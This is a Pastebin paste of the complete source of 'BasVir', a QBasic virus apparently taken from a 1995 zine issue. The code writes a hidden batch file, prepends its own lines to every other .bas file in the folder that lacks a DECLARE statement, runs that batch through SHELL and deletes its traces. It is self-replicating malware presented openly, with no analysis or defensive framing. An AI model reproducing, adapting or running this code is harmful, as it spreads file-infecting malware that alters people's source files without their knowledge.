Advertisement
FlyFar

BASVIR.BAS - QBasic Virus - Wavefunc - Second Issue | Sept. 2 1995

Mar 12th, 2023
2,126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 0.80 KB | Cybersecurity | 0 0
  1. basvirH$ = "BASVIR.BAS"
  2. OPEN "~$.bat" FOR OUTPUT AS #2: REM BasVir
  3. PRINT #2, "@echo off %BasVir1%"
  4. PRINT #2, "if '%1=='BasVir goto BasVir%2"
  5. PRINT #2, "for %%a in (*.bas) do call ~$ BasVir 2 %%a"
  6. PRINT #2, "exit": REM BasVir
  7. PRINT #2, ":BasVir2"
  8. PRINT #2, "find "; CHR$(34); "DECLARE "; CHR$(34); "<%3>nul": REM BasVir
  9. PRINT #2, "if not errorlevel 1 goto BasVirE"
  10. PRINT #2, "echo basvirH$ = "; CHR$(34); "%3"; CHR$(34); ">~1": REM BasVir
  11. PRINT #2, "find "; CHR$(34); "BasVir"; CHR$(34); "<"; basvirH$; ">>~1"
  12. PRINT #2, "copy %3 ~2>nul": REM BasVir
  13. PRINT #2, "copy /b ~1+~2 %3>nul": REM BasVir
  14. PRINT #2, "exit": REM BasVir
  15. PRINT #2, ":BasVirE"
  16. CLOSE #2: REM BasVir
  17. SHELL "~$": REM BasVir
  18. SHELL "del ~?.*": REM BasVir
  19. REM ******* [BasVir] the QBasic Virus *******
  20. REM This IS a dummy host program
  21. SYSTEM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement